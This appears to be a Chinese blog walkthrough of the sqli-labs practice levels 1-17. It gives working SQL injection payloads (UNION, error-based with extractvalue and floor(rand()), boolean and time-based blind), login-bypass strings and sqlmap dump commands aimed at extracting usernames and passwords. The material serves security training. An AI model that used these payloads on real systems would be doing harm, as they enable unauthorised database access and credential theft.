sqli-libs闯关记录

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

方法一:手工UNION联合查询注入

输入单引号,页面错误,如下:
sqli-libs闯关记录_第1张图片

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,

猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致,

暴库
sqli-libs闯关记录_第2张图片
得到数据库的库名
sqli-libs闯关记录_第3张图片
采用order by语句进行递归查询

1.查询到3还是没有回显信息
sqli-libs闯关记录_第4张图片
2.一直查询到4,出现回显信息。
sqli-libs闯关记录_第5张图片

暴字段名

?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

sqli-libs闯关记录_第6张图片
暴值

?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。
sqli-libs闯关记录_第7张图片

方法二: 手工注入报错

?id=1’ and 1=1–+ //错误
?id=1’ and 1=2–+ //正确
sqli-libs闯关记录_第8张图片
sqli-libs闯关记录_第9张图片

less 2 GET - Error based - Intiger based (基于错误的GET整型注入)

尝试id=1’看会有什么回显
sqli-libs闯关记录_第10张图片
回显出现错误,显然存在 ’ 没有被过滤,出现语法错误或者说是简单‘字符’注入导致多出来一个 ’ ,从而导致语法错误。

通过实际验证回显错误属于哪一种,首先验证是否是字符型注入:
?id=1’ and 1=1’
sqli-libs闯关记录_第11张图片
发现回显还是出错,说明不是第一种错误,接下来验证是不是第二种错误
?id=1 and 1=1–+
sqli-libs闯关记录_第12张图片
看到页面回显判断是数字注入,通过验证发现存在注入点
?id=1 and 1=2–+
sqli-libs闯关记录_第13张图片
发现注入点后,开始通过语法暴字段名称
?id=1 order by 4–+
sqli-libs闯关记录_第14张图片
通过多次尝试后,由回显信息得出数据库只存在三个字段,接下来我们采用union select联合查询
?id=0 union select 1,2,3–+ 回显内容如下
sqli-libs闯关记录_第15张图片
接着爆库名,版本号:?id=-1’ union select 1,database(),version()–+
sqli-libs闯关记录_第16张图片

接着爆所有数据库:?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata–+
sqli-libs闯关记录_第17张图片
爆表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’%23
sqli-libs闯关记录_第18张图片
爆列名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’%23

sqli-libs闯关记录_第19张图片
爆数据:?id=0 union select 1,2,group_concat(id,username,password) from users%23
sqli-libs闯关记录_第20张图片

less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

单引号报错,输入id=1’,根据报错信息发现输入的内容后有’ ,想到应该以 ’ 来闭合表达式。
sqli-libs闯关记录_第21张图片
sqli-libs闯关记录_第22张图片
由回显信息可看出输入id=1’报错,所以在id=1后面加上 ’ ,其他方法和前面用到一样,不再重复。
这样我们就直接爆数据库了 :?id=-1’) union select 1,2,group_concat(id,username,password) from users%23

sqli-libs闯关记录_第23张图片

less 4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

双引号报错,输入1’,显示正常,输入1’’,根据报错信息发现输入的内容后有"),这应该是以’’) 来闭合表达式的
sqli-libs闯关记录_第24张图片
sqli-libs闯关记录_第25张图片
由回显信息可看出输入id=1’'报错,所以在id=1后面加上 ‘’) ,其他方法和前面用到一样,不再重复。
直接爆数据 :?id=-1") union select 1,2,group_concat(id,username,password) from users%23
sqli-libs闯关记录_第26张图片

less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

输入id=1,看到如下回显信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
sqli-libs闯关记录_第27张图片
下面给出验证时间延迟型的盲注:
?id=1’ and sleep(5)–+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

注解:其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。

方法一:时间延迟型手工注入:
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

首先,我们来爆库长度
?id=1’ and if(length(database())=8,sleep(5),1)–+ (通过观察我们能明显感觉出来时间延长了)
注解:一次次尝试,发现明显延迟,数据库长度为8.
sqli-libs闯关记录_第28张图片
接下来我们可以爆库名
?id=1’ and if(left(database(),1)=‘s’,sleep(5),1)–+

注解:通过验证,明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。(这种手工验证会花费大量时间)

最终爆破得到left(database(),8)=‘security’ (验证会发现明显的延迟)
sqli-libs闯关记录_第29张图片

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,多次尝试是limit 3,1的时候查到了password列,同样的方法查询username ,接下来爆破字段的值。

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

方法二,布尔型手工注入:

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。

暴库payload

?id=1' and left((select database()),1)='s'--+

sqli-libs闯关记录_第30张图片
sqli-libs闯关记录_第31张图片sqli-libs闯关记录_第32张图片

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。

爆字段payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

注解:布尔盲注比较烦的就是,需要大量时间去尝试。

方法三,使用concat聚合函数

payload在concat()中构造

爆库payload

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

sqli-libs闯关记录_第33张图片
爆用户payload

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名payload

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password

爆列名payload

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历列名,找到username和password列

爆字段payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

sqli-libs闯关记录_第34张图片
修改limit x,1 可以显示第x个用户的password和username (‘[’是分隔符)

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

双引号字符型注入,上一题的单引号改成双引号就可以了,两种方法:时间延迟注入,或者报错型注入。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

?id=1' and 1=1 --+

sqli-libs闯关记录_第35张图片
由回显看出,这应该是布尔盲注了,参考第五关一步步来,根据回显信息判断,不再重复操作。
注解:第五关concat函数方法用不了。

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

不管怎么输入,回显总是如下图
sqli-libs闯关记录_第36张图片
判断是时间盲注,playload:

?id=1' and sleep(3) --+

sqli-libs闯关记录_第37张图片
当id=1时候,发现明显的延迟,说明注入成功,接下来的爆破与第五关相同,不在重复。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

这一关与第九关相同,只是把单引号换成了双引号,方法相同,不在重复。

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

post型注入,先用万能钥匙登录看一下。
sqli-libs闯关记录_第38张图片
如果我们采用Dump用户使用Dump密码登陆,可以看到以下
sqli-libs闯关记录_第39张图片
union select联合查询

-admin'  union select 1,2#

sqli-libs闯关记录_第40张图片
爆用户名、数据名、版本信息

-admin’ union select database(),user()#

在这里插入图片描述
查看数据
-admin’
union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #
sqli-libs闯关记录_第41张图片

用sqlmap跑一下,看结果
sqli-libs闯关记录_第42张图片

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

less-12和less-11一样,只是闭合方式变成了”。不再重复介绍。

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

通过报错可知 是通过’) 闭合的
直接用 admin’ ) and 1=2#
sqli-libs闯关记录_第43张图片
直接报错注入

uname=admin') and extractvalue(1,concat(0x7e,(select database())))  and ('
uname=admin') and extractvalue(1,concat(0x7e,(select version())))#

sqli-libs闯关记录_第44张图片
sqli-libs闯关记录_第45张图片
然后继续或许表名

-admin’  ) and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5c)))#

sqli-libs闯关记录_第46张图片

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

less-14和less-13原理相同,只是把 ’ 换成了 ‘’ ,不在重复。

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

时间延迟测试payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

sqli-libs闯关记录_第47张图片
明显延迟,确定使用延迟注入。接下来就是耗费时间的不断菜解,不在过多叙述。

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

万能账号绕过密码验证:admin")#

sqli-libs闯关记录_第48张图片
不管怎么输入,都没有错误信息回显,猜想延迟注入。
sqli-libs闯关记录_第49张图片
less-16和less-15差不多,只需要把上一题正的单引号改为双引号加括号 ") 就完事了

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

和前面有点不一样的是,直接回显密码重置。
sqli-libs闯关记录_第50张图片直接用sqlmap跑出数据库信息。
sqli-libs闯关记录_第51张图片>sqlmap.py -r E:\java\post\17.txt -p passwd --dbs
sqli-libs闯关记录_第52张图片>sqlmap.py -r E:\java\post\17.txt -p passwd -D security -T users -C password,username --dump
sqli-libs闯关记录_第53张图片

sqlmap.py -r E:\java\post\17.txt -p passwd -D security --tables
sqli-libs闯关记录_第54张图片

你可能感兴趣的:(sqli-libs,安全,漏洞,安全)